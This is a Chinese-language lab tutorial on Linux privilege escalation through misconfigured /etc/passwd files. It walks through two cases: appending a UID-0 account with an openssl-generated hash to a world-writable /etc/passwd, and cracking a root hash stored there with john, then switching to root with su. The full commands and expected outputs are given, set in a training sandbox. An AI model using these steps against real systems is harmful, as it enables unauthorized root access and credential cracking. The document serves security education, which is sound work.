介绍
/etc/passwd
和 /etc/shadow
文件在 Linux 系统中对用户认证至关重要。如果系统管理员错误配置了这些文件的内容或权限,可能会导致权限提升漏洞。在本实验中,我们将通过利用 /etc/passwd
文件来探索权限提升的方法。
/etc/passwd
和 /etc/shadow
文件在 Linux 系统中对用户认证至关重要。如果系统管理员错误配置了这些文件的内容或权限,可能会导致权限提升漏洞。在本实验中,我们将通过利用 /etc/passwd
文件来探索权限提升的方法。
/etc/passwd
文件在这一步中,我们将探索 /etc/passwd
文件的结构和含义。
在 Linux 系统中,用户密码信息存储在两个文件中:/etc/passwd
和 /etc/shadow
。/etc/passwd
文件包含用户信息,每一行代表一个用户账户。每一行由七个以冒号分隔的字段组成:
x
,则密码存储在 /etc/shadow
中)现在,打开终端并导航到 /home/labex/project
目录以继续下一步。
cd /home/labex/project
从 /etc/passwd
文件中获取 labex
用户的信息,并将其保存到 /home/labex/project
目录下名为 labex_passwd.txt
的文件中。
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
检查 labex_passwd.txt
文件的内容。
cat labex_passwd.txt
预期输出:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
以下是每个字段的含义:
/etc/shadow
中(由 x
表示)/home/labex
/usr/bin/zsh
在 Linux 认证过程中,会发生以下步骤:
/etc/passwd
文件中每一行的第一个字段进行比对。0
表示 root 用户,无论用户名是什么,都拥有完全的管理权限。如你所见,/etc/passwd
文件在 Linux 认证过程中起着关键作用。如果攻击者能够修改此文件,他们可能会获得未经授权的访问并提升其权限。
/etc/passwd
文件(写权限)进行权限提升在这一步中,我们将学习如何通过利用对 /etc/passwd
文件的写权限来提升权限。
首先,让我们设置实验环境。打开终端并导航到 /home/labex/project
目录:
cd /home/labex/project
运行以下命令以设置实验环境:
./env_setup1.sh
该命令将执行一个脚本来设置实验环境。你应该会看到输出,表明环境已准备就绪。
设置完成后,你将作为 user001
用户登录,模拟在渗透测试中获得的初始 shell 访问权限。
导航到 user001
用户的主目录:
cd ~
使用 whoami
命令验证当前用户:
whoami
预期输出:
user001
使用 id
命令查看你的用户和组 ID:
id
预期输出:
uid=1001(user001) gid=1001(user001) groups=1001(user001)
如你所见,你是一个没有任何特殊权限的普通用户。
接下来,检查 /etc/passwd
和 /etc/shadow
文件的权限:
ls -l /etc/passwd /etc/shadow
预期输出:
--wx--xrwx 1 root root 1961 Apr 5 00:21 /etc/passwd
-rw-r----- 1 root user001 1101 Apr 5 00:21 /etc/shadow
注意,/etc/passwd
文件对 所有用户
具有 执行
和 写
权限 (--wx--xrwx)
,这是系统管理员的 配置错误
。
我们的目标是在 /etc/passwd
文件中创建一个新的用户条目,使用自定义的用户名、密码和 UID 为 0
(root)。这将允许我们以 root 用户身份登录。
首先,通过将 root 用户的条目提取到名为 new_user_entry.txt
的新文件中,检查 /etc/passwd
文件中 root 用户的格式:
cat /etc/passwd | grep root > new_user_entry.txt
使用 cat
命令查看 new_user_entry.txt
文件内容时的预期输出:
root:x:0:0:root:/root:/bin/bash
为了创建我们自己的条目,将 new_user_entry.txt
文件中的用户名从 root
更改为任何所需的名称,例如 new-user
:
new-user:x:0:0:root:/root:/bin/bash
将第二个字段中的 x
替换为加密的密码哈希。我们可以使用 openssl
工具生成密码(例如 pass123
)的哈希:
openssl passwd -1 -salt ignite pass123
预期输出:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
将哈希替换到 new_user_entry.txt
文件的第二个字段中:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
现在,将这一行追加到 /etc/passwd
文件中:
echo "$(cat new_user_entry.txt)" >> /etc/passwd
注意:我们可以将新条目追加到 /etc/passwd
文件中,因为它对 所有用户
具有写权限。在现实场景中,此文件不应为普通用户提供写权限。
通过在 /etc/passwd
文件中搜索 new-user
来验证新条目:
cat /etc/passwd | grep new-user
预期输出:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
最后,切换到 new-user
用户,密码为 pass123
:
su new-user
在提示时输入密码 pass123
。你现在应该拥有 root 权限,提示符的变化表明了这一点:
user001@660ecfa4d7612c798ef141ab:~$ su new-user
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
/etc/passwd
文件(密码哈希)进行权限提升在这一步中,我们将学习当 root 用户的密码哈希存储在 /etc/passwd
文件而非 /etc/shadow
文件时,如何提升权限。
首先,让我们设置实验环境。打开终端并导航到 /home/labex/project
目录:
如果你仍然以 new-user
身份登录,可以使用 exit
命令退出当前 shell,直到返回到 labex
shell,然后导航到 /home/labex/project
目录:
cd /home/labex/project
运行以下命令以设置实验环境:
./env_setup2.sh
该命令将执行一个脚本来设置实验环境。你应该会看到输出,表明环境已准备就绪。
设置完成后,你将作为 user001
用户登录,模拟在渗透测试中获得的初始 shell 访问权限。
导航到 user001
用户的主目录:
cd ~
检查 /etc/passwd
和 /etc/shadow
文件的权限:
ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd
-rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadow
这一次,文件权限是 正确
配置的,你只有对 /etc/passwd
文件的读取权限。
查看 /etc/passwd
文件的内容以找到 root 用户的密码哈希:
cat /etc/passwd | grep ^root > ~/hash.txt
通过运行以下命令检查 hash.txt
文件的内容:
cat ~/hash.txt
预期输出:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash
注意,root 用户的密码哈希存储在 /etc/passwd
文件的第二个字段中。这通常是之前系统被入侵或系统管理员 配置错误
的结果。
现在,运行 john
来破解哈希:
john ~/hash.txt > ~/cracked.txt
john
是一个流行的密码破解工具,它使用字典攻击来破解密码哈希。输出将指示密码是否成功破解。
Created directory: /home/user001/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
检查 cracked.txt
文件的内容以查看破解的密码:
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
hello (root)
如你所见,john
成功破解了密码,密码是 hello
。
使用 su
命令切换到 root 用户,在提示时输入破解的密码:
su root
在提示时输入密码 hello
。你现在应该拥有 root 权限,命令提示符的变化表明了这一点。
user001@660ecfa4d7612c798ef141ab:~$ su root
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
在本实验中,我们学习了 Linux 用户认证过程、/etc/passwd
文件的重要性,以及如何利用它进行权限提升。我们涵盖了两个场景:(1) 当 /etc/passwd
文件具有写权限时,允许我们创建一个具有 root 权限的新用户条目;(2) 当 root 用户的密码哈希存储在 /etc/passwd
文件中时,我们可以使用 john
工具破解密码。通过动手实践,我们更深入地理解了如何利用 /etc/passwd
文件中的配置错误来提升 Linux 系统上的权限。